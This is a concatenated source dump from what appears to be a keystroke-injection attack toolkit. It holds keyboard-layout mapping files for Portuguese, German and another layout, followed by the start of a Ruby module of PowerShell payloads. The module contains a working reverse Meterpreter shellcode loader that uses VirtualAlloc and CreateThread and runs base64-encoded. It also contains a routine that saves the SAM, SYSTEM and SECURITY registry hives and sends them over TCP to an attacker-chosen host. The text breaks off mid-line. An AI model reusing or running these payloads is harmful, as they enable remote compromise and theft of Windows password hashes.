ASCII_3E = KEY_PERIOD, MODIFIERKEY_SHIFT 67 | // 62 > 68 | ASCII_3F = KEY_SLASH, MODIFIERKEY_SHIFT 69 | // 63 ? 70 | ASCII_40 = KEY_QUOTE, MODIFIERKEY_SHIFT 71 | // 64 @ 72 | ASCII_41 = KEY_A, MODIFIERKEY_SHIFT 73 | // 65 A 74 | ASCII_42 = KEY_B, MODIFIERKEY_SHIFT 75 | // 66 B 76 | ASCII_43 = KEY_C, MODIFIERKEY_SHIFT 77 | // 67 C 78 | ASCII_44 = KEY_D, MODIFIERKEY_SHIFT 79 | // 68 D 80 | ASCII_45 = KEY_E, MODIFIERKEY_SHIFT 81 | // 69 E 82 | ASCII_46 = KEY_F, MODIFIERKEY_SHIFT 83 | // 70 F 84 | ASCII_47 = KEY_G, MODIFIERKEY_SHIFT 85 | // 71 G 86 | ASCII_48 = KEY_H, MODIFIERKEY_SHIFT 87 | // 72 H 88 | ASCII_49 = KEY_I, MODIFIERKEY_SHIFT 89 | // 73 I 90 | ASCII_4A = KEY_J, MODIFIERKEY_SHIFT 91 | // 74 J 92 | ASCII_4B = KEY_K, MODIFIERKEY_SHIFT 93 | // 75 K 94 | ASCII_4C = KEY_L, MODIFIERKEY_SHIFT 95 | // 76 L 96 | ASCII_4D = KEY_M, MODIFIERKEY_SHIFT 97 | // 77 M 98 | ASCII_4E = KEY_N, MODIFIERKEY_SHIFT 99 | // 78 N 100 | ASCII_4F = KEY_O, MODIFIERKEY_SHIFT 101 | // 79 O 102 | ASCII_50 = KEY_P, MODIFIERKEY_SHIFT 103 | // 80 P 104 | ASCII_51 = KEY_Q, MODIFIERKEY_SHIFT 105 | // 81 Q 106 | ASCII_52 = KEY_R, MODIFIERKEY_SHIFT 107 | // 82 R 108 | ASCII_53 = KEY_S, MODIFIERKEY_SHIFT 109 | // 83 S 110 | ASCII_54 = KEY_T, MODIFIERKEY_SHIFT 111 | // 84 T 112 | ASCII_55 = KEY_U, MODIFIERKEY_SHIFT 113 | // 85 U 114 | ASCII_56 = KEY_V, MODIFIERKEY_SHIFT 115 | // 86 V 116 | ASCII_57 = KEY_W, MODIFIERKEY_SHIFT 117 | // 87 W 118 | ASCII_58 = KEY_X, MODIFIERKEY_SHIFT 119 | // 88 X 120 | ASCII_59 = KEY_Y, MODIFIERKEY_SHIFT 121 | // 89 Y 122 | ASCII_5A = KEY_Z, MODIFIERKEY_SHIFT 123 | // 90 Z 124 | ASCII_5B = KEY_LEFT_BRACE 125 | // 91 [ 126 | ASCII_23 = KEY_BACKSLASH 127 | // 92 128 | ASCII_5D = KEY_RIGHT_BRACE 129 | // 93 ] 130 | ASCII_5E = KEY_6, MODIFIERKEY_SHIFT 131 | // 94 ^ 132 | ASCII_5F = KEY_MINUS, MODIFIERKEY_SHIFT 133 | // 95 _ 134 | ASCII_60 = KEY_TILDE 135 | // 96 ` 136 | ASCII_61 = KEY_A 137 | // 97 a 138 | ASCII_62 = KEY_B 139 | // 98 b 140 | ASCII_63 = KEY_C 141 | // 99 c 142 | ASCII_64 = KEY_D 143 | // 100 d 144 | ASCII_65 = KEY_E 145 | // 101 e 146 | ASCII_66 = KEY_F 147 | // 102 f 148 | ASCII_67 = KEY_G 149 | // 103 g 150 | ASCII_68 = KEY_H 151 | // 104 h 152 | ASCII_69 = KEY_I 153 | // 105 i 154 | ASCII_6A = KEY_J 155 | // 106 j 156 | ASCII_6B = KEY_K 157 | // 107 k 158 | ASCII_6C = KEY_L 159 | // 108 l 160 | ASCII_6D = KEY_M 161 | // 109 m 162 | ASCII_6E = KEY_N 163 | // 110 n 164 | ASCII_6F = KEY_O 165 | // 111 o 166 | ASCII_70 = KEY_P 167 | // 112 p 168 | ASCII_71 = KEY_Q 169 | // 113 q 170 | ASCII_72 = KEY_R 171 | // 114 r 172 | ASCII_73 = KEY_S 173 | // 115 s 174 | ASCII_74 = KEY_T 175 | // 116 t 176 | ASCII_75 = KEY_U 177 | // 117 u 178 | ASCII_76 = KEY_V 179 | // 118 v 180 | ASCII_77 = KEY_W 181 | // 119 w 182 | ASCII_78 = KEY_X 183 | // 120 x 184 | ASCII_79 = KEY_Y 185 | // 121 y 186 | ASCII_7A = KEY_Z 187 | // 122 z 188 | ASCII_7B = KEY_LEFT_BRACE, MODIFIERKEY_SHIFT 189 | // 123 { 190 | ASCII_7E = KEY_BACKSLASH, MODIFIERKEY_SHIFT 191 | // 124 | 192 | ASCII_7D = KEY_RIGHT_BRACE, MODIFIERKEY_SHIFT 193 | // 125 } 194 | ASCII_7C = KEY_ASH, MODIFIERKEY_SHIFT 195 | // 126 ~ 196 | ASCII_7F = KEY_BACKSPACE 197 | // 127 198 | 199 | ISO_8859_1_A0 = KEY_SPACE 200 | // 160 Nonbreakng Space 201 | ISO_8859_1_A3 = KEY_3, MODIFIERKEY_SHIFT 202 | // 163 £ Pound Sign 203 | ISO_8859_1_A6 = KEY_TILDE, MODIFIERKEY_RIGHT_ALT 204 | // 166 ¦ BROKEN BAR 205 | ISO_8859_1_AC = KEY_TILDE, MODIFIERKEY_SHIFT 206 | // 172 ¬ NOT SIGN 207 | //ISO_8859_1_C1 = KEY_A, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT 208 | // 193 Á A ACUTE 209 | //ISO_8859_1_C9 = KEY_E, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT 210 | // 201 É E ACUTE 211 | //ISO_8859_1_CD = KEY_I, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT 212 | // 205 Í I ACUTE 213 | //ISO_8859_1_D3 = KEY_O, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT 214 | // 211 Ó O ACUTE 215 | //ISO_8859_1_DA = KEY_U, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT 216 | // 218 Ú U ACUTE 217 | //ISO_8859_1_E1 = KEY_A, MODIFIERKEY_RIGHT_ALT 218 | // 225 á a ACUTE 219 | ISO_8859_1_E9 = KEY_E, MODIFIERKEY_RIGHT_ALT 220 | // 233 é e ACUTE 221 | ISO_8859_1_ED = KEY_I, MODIFIERKEY_RIGHT_ALT 222 | // 237 í i ACUTE 223 | ISO_8859_1_F3 = KEY_O, MODIFIERKEY_RIGHT_ALT 224 | // 243 ó o ACUTE 225 | ISO_8859_1_FA = KEY_U, MODIFIERKEY_RIGHT_ALT 226 | // 250 ú u ACUTE 227 | UNICODE_20AC = KEY_4, MODIFIERKEY_RIGHT_ALT 228 | // € Euro Sign 229 | 230 | -------------------------------------------------------------------------------- /duck_encoder/resources/pt.properties: -------------------------------------------------------------------------------- 1 | // Portuguese keyboard 102-keys layout 2 | 3 | // Keyboard Non-US# and ~ 4 | // Typical language mappings: US: \| Belg: μ`£ FrCa: <}> Dan:’* Dutch: <> Fren:*μ Ger: #’ Ital: ù§ LatAm: }`] Nor:,* Span:}Ç Swed: ,* Swiss: $£ UK: #~ Port: ~^ . 5 | KEY_NON_US_NUM = 50 6 | // Keyboard Non-US\ and | 7 | // Typical language mappings: Belg:<\> FrCa:«°» Dan:<\> Dutch:]|[ Fren:<> Ger:<|> Ital:<> LatAm:<> Nor:<> Span:<> Swed:<|> Swiss:<\> UK:\| Brazil: \| Portuguese: <> . 8 | KEY_NON_US_100 = 100 9 | 10 | // 32 11 | ASCII_20 = KEY_SPACE 12 | // 33 ! 49 1 13 | ASCII_21 = KEY_1, MODIFIERKEY_SHIFT 14 | ASCII_31 = KEY_1 15 | // 34 " 50 2 16 | ASCII_22 = KEY_2, MODIFIERKEY_SHIFT 17 | ASCII_32 = KEY_2 18 | // 35 # 51 3 19 | ASCII_23 = KEY_3, MODIFIERKEY_SHIFT 20 | ASCII_33 = KEY_3 21 | // 36 $ 52 4 22 | ASCII_24 = KEY_4, MODIFIERKEY_SHIFT 23 | ASCII_34 = KEY_4 24 | // 37 % 53 5 25 | ASCII_25 = KEY_5, MODIFIERKEY_SHIFT 26 | ASCII_35 = KEY_5 27 | // 38 & 35 6 28 | ASCII_26 = KEY_6, MODIFIERKEY_SHIFT 29 | ASCII_36 = KEY_6 30 | // 47 SLASH 55 7 31 | ASCII_2F = KEY_7, MODIFIERKEY_SHIFT 32 | ASCII_37 = KEY_7 33 | // 40 ( 55 8 34 | ASCII_28 = KEY_8, MODIFIERKEY_SHIFT 35 | ASCII_38 = KEY_8 36 | // 41 ) 57 9 37 | ASCII_29 = KEY_9, MODIFIERKEY_SHIFT 38 | ASCII_39 = KEY_9 39 | // 61 = 48 0 40 | ASCII_3D = KEY_0, MODIFIERKEY_SHIFT 41 | ASCII_30 = KEY_0 42 | // 39 ' 63 ? 43 | ASCII_3F = KEY_MINUS, MODIFIERKEY_SHIFT 44 | ASCII_27 = KEY_MINUS 45 | // 42 * 43 + 46 | ASCII_2A = KEY_LEFT_BRACE, MODIFIERKEY_SHIFT 47 | ASCII_2B = KEY_LEFT_BRACE 48 | // 44 , 59 ; 49 | ASCII_2C = KEY_COMMA 50 | ASCII_3B = KEY_COMMA, MODIFIERKEY_SHIFT 51 | // 45 - 95 _ 52 | ASCII_2D = KEY_SLASH, 53 | ASCII_5F = KEY_SLASH, MODIFIERKEY_SHIFT 54 | // 46 . 58 : 55 | ASCII_2E = KEY_PERIOD 56 | ASCII_3A = KEY_PERIOD, MODIFIERKEY_SHIFT 57 | // 60 < 62 > 58 | ASCII_3C = KEY_NON_US_100 59 | ASCII_3E = KEY_NON_US_100, MODIFIERKEY_SHIFT 60 | // 64 @ 61 | ASCII_40 = KEY_2, MODIFIERKEY_RIGHT_ALT 62 | // 65 A 63 | ASCII_41 = KEY_A, MODIFIERKEY_SHIFT 64 | // 66 B 65 | ASCII_42 = KEY_B, MODIFIERKEY_SHIFT 66 | // 67 C 67 | ASCII_43 = KEY_C, MODIFIERKEY_SHIFT 68 | // 68 D 69 | ASCII_44 = KEY_D, MODIFIERKEY_SHIFT 70 | // 69 E 71 | ASCII_45 = KEY_E, MODIFIERKEY_SHIFT 72 | // 70 F 73 | ASCII_46 = KEY_F, MODIFIERKEY_SHIFT 74 | // 71 G 75 | ASCII_47 = KEY_G, MODIFIERKEY_SHIFT 76 | // 72 H 77 | ASCII_48 = KEY_H, MODIFIERKEY_SHIFT 78 | // 73 I 79 | ASCII_49 = KEY_I, MODIFIERKEY_SHIFT 80 | // 74 J 81 | ASCII_4A = KEY_J, MODIFIERKEY_SHIFT 82 | // 75 K 83 | ASCII_4B = KEY_K, MODIFIERKEY_SHIFT 84 | // 76 L 85 | ASCII_4C = KEY_L, MODIFIERKEY_SHIFT 86 | // 77 M 87 | ASCII_4D = KEY_M, MODIFIERKEY_SHIFT 88 | // 78 N 89 | ASCII_4E = KEY_N, MODIFIERKEY_SHIFT 90 | // 79 O 91 | ASCII_4F = KEY_O, MODIFIERKEY_SHIFT 92 | // 80 P 93 | ASCII_50 = KEY_P, MODIFIERKEY_SHIFT 94 | // 81 Q 95 | ASCII_51 = KEY_Q, MODIFIERKEY_SHIFT 96 | // 82 R 97 | ASCII_52 = KEY_R, MODIFIERKEY_SHIFT 98 | // 83 S 99 | ASCII_53 = KEY_S, MODIFIERKEY_SHIFT 100 | // 84 T 101 | ASCII_54 = KEY_T, MODIFIERKEY_SHIFT 102 | // 85 U 103 | ASCII_55 = KEY_U, MODIFIERKEY_SHIFT 104 | // 86 V 105 | ASCII_56 = KEY_V, MODIFIERKEY_SHIFT 106 | // 87 W 107 | ASCII_57 = KEY_W, MODIFIERKEY_SHIFT 108 | // 88 X 109 | ASCII_58 = KEY_X, MODIFIERKEY_SHIFT 110 | // 89 Y 111 | ASCII_59 = KEY_Y, MODIFIERKEY_SHIFT 112 | // 90 Z 113 | ASCII_5A = KEY_Z, MODIFIERKEY_SHIFT 114 | // 91 [ 93 ] 115 | ASCII_5B = KEY_8, MODIFIERKEY_RIGHT_ALT 116 | ASCII_5D = KEY_9, MODIFIERKEY_RIGHT_ALT 117 | // 94 ^ 126 ~ 118 | ASCII_5E = KEY_NON_US_NUM, MODIFIERKEY_SHIFT 119 | ASCII_7E = KEY_NON_US_NUM 120 | // 96 ` 121 | ASCII_60 = KEY_RIGHT_BRACE, MODIFIERKEY_SHIFT 122 | // 97 a 123 | ASCII_61 = KEY_A 124 | // 98 b 125 | ASCII_62 = KEY_B 126 | // 99 c 127 | ASCII_63 = KEY_C 128 | // 100 d 129 | ASCII_64 = KEY_D 130 | // 101 e 131 | ASCII_65 = KEY_E 132 | // 102 f 133 | ASCII_66 = KEY_F 134 | // 103 g 135 | ASCII_67 = KEY_G 136 | // 104 h 137 | ASCII_68 = KEY_H 138 | // 105 i 139 | ASCII_69 = KEY_I 140 | // 106 j 141 | ASCII_6A = KEY_J 142 | // 107 k 143 | ASCII_6B = KEY_K 144 | // 108 l 145 | ASCII_6C = KEY_L 146 | // 109 m 147 | ASCII_6D = KEY_M 148 | // 110 n 149 | ASCII_6E = KEY_N 150 | // 111 o 151 | ASCII_6F = KEY_O 152 | // 112 p 153 | ASCII_70 = KEY_P 154 | // 113 q 155 | ASCII_71 = KEY_Q 156 | // 114 r 157 | ASCII_72 = KEY_R 158 | // 115 s 159 | ASCII_73 = KEY_S 160 | // 116 t 161 | ASCII_74 = KEY_T 162 | // 117 u 163 | ASCII_75 = KEY_U 164 | // 118 v 165 | ASCII_76 = KEY_V 166 | // 119 w 167 | ASCII_77 = KEY_W 168 | // 120 x 169 | ASCII_78 = KEY_X 170 | // 121 y 171 | ASCII_79 = KEY_Y 172 | // 122 z 173 | ASCII_7A = KEY_Z 174 | // 123 { 125 } 175 | ASCII_7B = KEY_7, MODIFIERKEY_RIGHT_ALT 176 | ASCII_7D = KEY_0, MODIFIERKEY_RIGHT_ALT 177 | // 124 | 92 178 | ASCII_7C = KEY_TILDE, MODIFIERKEY_SHIFT 179 | ASCII_5C = KEY_TILDE 180 | // 127 181 | ASCII_7F = KEY_BACKSPACE 182 | //231 ç 199 Ç 183 | ISO_8859_1_E7 = KEY_SEMICOLON 184 | ISO_8859_1_C7 = KEY_SEMICOLON, MODIFIERKEY_SHIFT 185 | //ºª 186 | ISO_8859_1_BA = KEY_QUOTE 187 | ISO_8859_1_AA = KEY_QUOTE, MODIFIERKEY_SHIFT 188 | // 167 § SECTION SIGN 189 | ISO_8859_1_A7 = KEY_4, MODIFIERKEY_RIGHT_ALT 190 | // 163 £ 191 | ISO_8859_1_A3 = KEY_3, MODIFIERKEY_RIGHT_ALT 192 | // Euro Sign 193 | UNICODE_20AC = KEY_E, MODIFIERKEY_RIGHT_ALT 194 | // 171 « 187 » 195 | ISO_8859_1_AB = KEY_EQUAL 196 | ISO_8859_1_BB = KEY_EQUAL, MODIFIERKEY_SHIFT 197 | -------------------------------------------------------------------------------- /duck_encoder/resources/de.properties: -------------------------------------------------------------------------------- 1 | //LAYOUT_GERMAN 2 | //Credits go to webdirector for patch (02/17/2013) 3 | KEY_NON_US_100 = 100 4 | 5 | ASCII_20 = KEY_SPACE 6 | // 32 7 | ASCII_21 = KEY_1, MODIFIERKEY_SHIFT 8 | // 33 ! 9 | ASCII_22 = KEY_2, MODIFIERKEY_SHIFT 10 | // 34 " 11 | ASCII_23 = KEY_BACKSLASH 12 | // 35 # ?? 13 | ASCII_24 = KEY_4, MODIFIERKEY_SHIFT 14 | // 36 $ 15 | ASCII_25 = KEY_5, MODIFIERKEY_SHIFT 16 | // 37 % 17 | ASCII_26 = KEY_6, MODIFIERKEY_SHIFT 18 | // 38 & 19 | ASCII_27 = KEY_BACKSLASH, MODIFIERKEY_SHIFT 20 | // 39 ' 21 | ASCII_28 = KEY_8, MODIFIERKEY_SHIFT 22 | // 40 ( 23 | ASCII_29 = KEY_9, MODIFIERKEY_SHIFT 24 | // 41 ) 25 | ASCII_2A = KEY_RIGHT_BRACE, MODIFIERKEY_SHIFT 26 | // 42 * 27 | ASCII_2B = KEY_RIGHT_BRACE 28 | // 43 + 29 | ASCII_2C = KEY_COMMA 30 | // 44 , 31 | ASCII_2D = KEY_SLASH 32 | // 45 - 33 | ASCII_2E = KEY_PERIOD 34 | // 46 . 35 | ASCII_2F = KEY_7, MODIFIERKEY_SHIFT 36 | // 47 / 37 | ASCII_30 = KEY_0 38 | // 48 0 39 | ASCII_31 = KEY_1 40 | // 49 1 41 | ASCII_32 = KEY_2 42 | // 50 2 43 | ASCII_33 = KEY_3 44 | // 51 3 45 | ASCII_34 = KEY_4 46 | // 52 4 47 | ASCII_35 = KEY_5 48 | // 53 5 49 | ASCII_36 = KEY_6 50 | // 54 6 51 | ASCII_37 = KEY_7 52 | // 55 7 53 | ASCII_38 = KEY_8 54 | // 55 8 55 | ASCII_39 = KEY_9 56 | // 57 9 57 | ASCII_3A = KEY_PERIOD, MODIFIERKEY_SHIFT 58 | // 58 : 59 | ASCII_3B = KEY_COMMA, MODIFIERKEY_SHIFT 60 | // 59 ; 61 | ASCII_3C = KEY_NON_US_100 62 | // 60 < 63 | ASCII_3D = KEY_0, MODIFIERKEY_SHIFT 64 | // 61 = 65 | ASCII_3E = KEY_NON_US_100, MODIFIERKEY_SHIFT 66 | // 62 > 67 | ASCII_3F = KEY_MINUS, MODIFIERKEY_SHIFT 68 | // 63 ? 69 | ASCII_40 = KEY_Q, MODIFIERKEY_RIGHT_ALT 70 | // 64 @ 71 | ASCII_41 = KEY_A, MODIFIERKEY_SHIFT 72 | // 65 A 73 | ASCII_42 = KEY_B, MODIFIERKEY_SHIFT 74 | // 66 B 75 | ASCII_43 = KEY_C, MODIFIERKEY_SHIFT 76 | // 67 C 77 | ASCII_44 = KEY_D, MODIFIERKEY_SHIFT 78 | // 68 D 79 | ASCII_45 = KEY_E, MODIFIERKEY_SHIFT 80 | // 69 E 81 | ASCII_46 = KEY_F, MODIFIERKEY_SHIFT 82 | // 70 F 83 | ASCII_47 = KEY_G, MODIFIERKEY_SHIFT 84 | // 71 G 85 | ASCII_48 = KEY_H, MODIFIERKEY_SHIFT 86 | // 72 H 87 | ASCII_49 = KEY_I, MODIFIERKEY_SHIFT 88 | // 73 I 89 | ASCII_4A = KEY_J, MODIFIERKEY_SHIFT 90 | // 74 J 91 | ASCII_4B = KEY_K, MODIFIERKEY_SHIFT 92 | // 75 K 93 | ASCII_4C = KEY_L, MODIFIERKEY_SHIFT 94 | // 76 L 95 | ASCII_4D = KEY_M, MODIFIERKEY_SHIFT 96 | // 77 M 97 | ASCII_4E = KEY_N, MODIFIERKEY_SHIFT 98 | // 78 N 99 | ASCII_4F = KEY_O, MODIFIERKEY_SHIFT 100 | // 79 O 101 | ASCII_50 = KEY_P, MODIFIERKEY_SHIFT 102 | // 80 P 103 | ASCII_51 = KEY_Q, MODIFIERKEY_SHIFT 104 | // 81 Q 105 | ASCII_52 = KEY_R, MODIFIERKEY_SHIFT 106 | // 82 R 107 | ASCII_53 = KEY_S, MODIFIERKEY_SHIFT 108 | // 83 S 109 | ASCII_54 = KEY_T, MODIFIERKEY_SHIFT 110 | // 84 T 111 | ASCII_55 = KEY_U, MODIFIERKEY_SHIFT 112 | // 85 U 113 | ASCII_56 = KEY_V, MODIFIERKEY_SHIFT 114 | // 86 V 115 | ASCII_57 = KEY_W, MODIFIERKEY_SHIFT 116 | // 87 W 117 | ASCII_58 = KEY_X, MODIFIERKEY_SHIFT 118 | // 88 X 119 | ASCII_59 = KEY_Z, MODIFIERKEY_SHIFT 120 | // 89 Y 121 | ASCII_5A = KEY_Y, MODIFIERKEY_SHIFT 122 | // 90 Z 123 | ASCII_5B = KEY_8, MODIFIERKEY_RIGHT_ALT 124 | // 91 [ 125 | ASCII_5C = KEY_MINUS, MODIFIERKEY_RIGHT_ALT 126 | // 92 127 | ASCII_5D = KEY_9, MODIFIERKEY_RIGHT_ALT 128 | // 93 ] 129 | ASCII_5E = KEY_TILDE 130 | // 94 ^ 131 | ASCII_5F = KEY_SLASH, MODIFIERKEY_SHIFT 132 | // 95 _ 133 | ASCII_60 = KEY_EQUAL, MODIFIERKEY_SHIFT 134 | //GRAVE_ACCENT_BITS + KEY_SPACE 135 | // 96 ` 136 | ASCII_61 = KEY_A 137 | // 97 a 138 | ASCII_62 = KEY_B 139 | // 98 b 140 | ASCII_63 = KEY_C 141 | // 99 c 142 | ASCII_64 = KEY_D 143 | // 100 d 144 | ASCII_65 = KEY_E 145 | // 101 e 146 | ASCII_66 = KEY_F 147 | // 102 f 148 | ASCII_67 = KEY_G 149 | // 103 g 150 | ASCII_68 = KEY_H 151 | // 104 h 152 | ASCII_69 = KEY_I 153 | // 105 i 154 | ASCII_6A = KEY_J 155 | // 106 j 156 | ASCII_6B = KEY_K 157 | // 107 k 158 | ASCII_6C = KEY_L 159 | // 108 l 160 | ASCII_6D = KEY_M 161 | // 109 m 162 | ASCII_6E = KEY_N 163 | // 110 n 164 | ASCII_6F = KEY_O 165 | // 111 o 166 | ASCII_70 = KEY_P 167 | // 112 p 168 | ASCII_71 = KEY_Q 169 | // 113 q 170 | ASCII_72 = KEY_R 171 | // 114 r 172 | ASCII_73 = KEY_S 173 | // 115 s 174 | ASCII_74 = KEY_T 175 | // 116 t 176 | ASCII_75 = KEY_U 177 | // 117 u 178 | ASCII_76 = KEY_V 179 | // 118 v 180 | ASCII_77 = KEY_W 181 | // 119 w 182 | ASCII_78 = KEY_X 183 | // 120 x 184 | ASCII_79 = KEY_Z 185 | // 121 y 186 | ASCII_7A = KEY_Y 187 | // 122 z 188 | ASCII_7B = KEY_7, MODIFIERKEY_RIGHT_ALT 189 | // 123 { 190 | ASCII_7C = KEY_NON_US_100, MODIFIERKEY_RIGHT_ALT 191 | // 124 | 192 | ASCII_7D = KEY_0, MODIFIERKEY_RIGHT_ALT 193 | // 125 } 194 | ASCII_7E = KEY_RIGHT_BRACE, MODIFIERKEY_RIGHT_ALT 195 | // 126 ~ 196 | ASCII_7F = KEY_BACKSPACE 197 | // 127 198 | ISO_8859_1_A0 = KEY_SPACE 199 | // 160 Nonbreakng Space 200 | ISO_8859_1_A4 = KEY_E, MODIFIERKEY_RIGHT_ALT 201 | // 164 ¤ Currency Sign 202 | ISO_8859_1_A7 = KEY_3, MODIFIERKEY_SHIFT 203 | // 167 § SECTION SIGN 204 | ISO_8859_1_B0 = KEY_TILDE, MODIFIERKEY_SHIFT 205 | // 176 ° DEGREE SIGN 206 | ISO_8859_1_B2 = KEY_2, MODIFIERKEY_RIGHT_ALT 207 | // 178 ² SUPERSCRIPT TWO 208 | ISO_8859_1_B3 = KEY_3, MODIFIERKEY_RIGHT_ALT 209 | // 179 ³ SUPERSCRIPT THREE 210 | //ISO_8859_1_C0 = GRAVE_ACCENT_BITS + KEY_A, MODIFIERKEY_SHIFT 211 | // 192 À A GRAVE 212 | //ISO_8859_1_C1 = ACUTE_ACCENT_BITS + KEY_A, MODIFIERKEY_SHIFT 213 | // 193 Á A ACUTE 214 | //ISO_8859_1_C2 = CIRCUMFLEX_BITS = + KEY_A, MODIFIERKEY_SHIFT 215 | // 194  A CIRCUMFLEX 216 | ISO_8859_1_C4 = KEY_QUOTE, MODIFIERKEY_SHIFT 217 | // 196 Ä A DIAERESIS 218 | //ISO_8859_1_C8 = GRAVE_ACCENT_BITS + KEY_E, MODIFIERKEY_SHIFT 219 | // 200 È E GRAVE 220 | //ISO_8859_1_C9 = ACUTE_ACCENT_BITS + KEY_E, MODIFIERKEY_SHIFT 221 | // 201 É E ACUTE 222 | //ISO_8859_1_CA = CIRCUMFLEX_BITS + KEY_E, MODIFIERKEY_SHIFT 223 | // 202 Ê E CIRCUMFLEX 224 | //ISO_8859_1_CC = GRAVE_ACCENT_BITS + KEY_I, MODIFIERKEY_SHIFT 225 | // 204 Ì I GRAVE 226 | //ISO_8859_1_CD = ACUTE_ACCENT_BITS + KEY_I, MODIFIERKEY_SHIFT 227 | // 205 Í I ACUTE 228 | //ISO_8859_1_CE = CIRCUMFLEX_BITS + KEY_I, MODIFIERKEY_SHIFT 229 | // 206 Î I CIRCUMFLEX 230 | //ISO_8859_1_D2 = GRAVE_ACCENT_BITS + KEY_O, MODIFIERKEY_SHIFT 231 | // 210 Ò O GRAVE 232 | //ISO_8859_1_D3 = ACUTE_ACCENT_BITS + KEY_O, MODIFIERKEY_SHIFT 233 | // 211 Ó O ACUTE 234 | //ISO_8859_1_D4 = CIRCUMFLEX_BITS + KEY_O, MODIFIERKEY_SHIFT 235 | // 212 Ô O CIRCUMFLEX 236 | ISO_8859_1_D6 = KEY_SEMICOLON, MODIFIERKEY_SHIFT 237 | // 214 Ö O DIAERESIS 238 | //ISO_8859_1_D9 = GRAVE_ACCENT_BITS + KEY_U, MODIFIERKEY_SHIFT 239 | // 217 Ù U GRAVE 240 | //ISO_8859_1_DA = ACUTE_ACCENT_BITS + KEY_U, MODIFIERKEY_SHIFT 241 | // 218 Ú U ACUTE 242 | //ISO_8859_1_DB = CIRCUMFLEX_BITS + KEY_U, MODIFIERKEY_SHIFT 243 | // 219 Û U CIRCUMFLEX 244 | ISO_8859_1_DC = KEY_LEFT_BRACE, MODIFIERKEY_SHIFT 245 | // 220 Ü U DIAERESIS 246 | //ISO_8859_1_DD = ACUTE_ACCENT_BITS + KEY_Z, MODIFIERKEY_SHIFT 247 | // 221 Ý Y ACUTE 248 | ISO_8859_1_DF = KEY_MINUS 249 | // 223 ß SHARP S 250 | //ISO_8859_1_E0 = GRAVE_ACCENT_BITS + KEY_A 251 | // 224 à a GRAVE 252 | //ISO_8859_1_E1 = ACUTE_ACCENT_BITS + KEY_A 253 | // 225 á a ACUTE 254 | //ISO_8859_1_E2 = CIRCUMFLEX_BITS + KEY_A 255 | // 226 â a CIRCUMFLEX 256 | ISO_8859_1_E4 = KEY_QUOTE 257 | // 228 ä a DIAERESIS 258 | //ISO_8859_1_E8 = GRAVE_ACCENT_BITS + KEY_E 259 | // 232 è e GRAVE 260 | //ISO_8859_1_E9 = ACUTE_ACCENT_BITS + KEY_E 261 | // 233 é e ACUTE 262 | //ISO_8859_1_EA = CIRCUMFLEX_BITS + KEY_E 263 | // 234 ê e CIRCUMFLEX 264 | //ISO_8859_1_EC = GRAVE_ACCENT_BITS + KEY_I 265 | // 236 ì i GRAVE 266 | //ISO_8859_1_ED = ACUTE_ACCENT_BITS + KEY_I 267 | // 237 í i ACUTE 268 | //ISO_8859_1_EE = CIRCUMFLEX_BITS + KEY_I 269 | // 238 î i CIRCUMFLEX 270 | //ISO_8859_1_F2 = GRAVE_ACCENT_BITS + KEY_O 271 | // 242 ò o GRAVE 272 | //ISO_8859_1_F3 = ACUTE_ACCENT_BITS + KEY_O 273 | // 243 ó o ACUTE 274 | //ISO_8859_1_F4 = CIRCUMFLEX_BITS + KEY_O 275 | // 244 ô o CIRCUMFLEX 276 | ISO_8859_1_F6 = KEY_SEMICOLON 277 | // 246 ö o DIAERESIS 278 | //ISO_8859_1_F9 = GRAVE_ACCENT_BITS + KEY_U 279 | // 249 ù u GRAVE 280 | //ISO_8859_1_FA = ACUTE_ACCENT_BITS + KEY_U 281 | // 250 ú u ACUTE 282 | //ISO_8859_1_FB = CIRCUMFLEX_BITS + KEY_U 283 | // 251 û u CIRCUMFLEX 284 | ISO_8859_1_FC = KEY_LEFT_BRACE 285 | // 252 ü u DIAERESIS 286 | //ISO_8859_1_FD = ACUTE_ACCENT_BITS + KEY_Z 287 | // 253 ý y ACUTE 288 | UNICODE_20AC = KEY_E, MODIFIERKEY_RIGHT_ALT 289 | // € Euro Sign 290 | 291 | -------------------------------------------------------------------------------- /lib/powershell_commands.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | # Thanks to: 3 | # @mattifestation, @obscuresec, and @HackingDave 4 | module PowershellCommands 5 | def powershell_reverse_meterpreter(shellcode) 6 | powershell_command = %($1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc = #{shellcode};$size = 0x1000;if ($sc.Length -gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$gq = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));if([IntPtr]::Size -eq 8){$x86 = $env:SystemRoot + "\\syswow64\\WindowsPowerShell\\v1.0\\powershell";$cmd = "-nop -noni -enc";iex "& $x86 $cmd $gq"}else{$cmd = "-nop -noni -enc";iex "& powershell $cmd $gq";}) 7 | return powershell_command 8 | end 9 | def powershell_hash_dump(host,port,ssl=nil) 10 | random_folder = random_name_gen 11 | if ssl 12 | powershell_command = "$folder='#{victim_path}\\#{random_folder}';mkdir $folder;reg.exe save HKLM\\SAM $folder\\sam;reg.exe save HKLM\\SYSTEM $folder\\sys;reg.exe save HKLM\\SECURITY $folder\\sec;$files=dir $folder;foreach($file in $files){$reg_file=[System.Convert]::ToBase64String([io.file]::ReadAllBytes($file.FullName));$socket = New-Object Net.Sockets.TcpClient('#{host}', #{port.to_i});$stream = $socket.GetStream();$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]));$sslStream.AuthenticateAsClient('#{host}');$writer = new-object 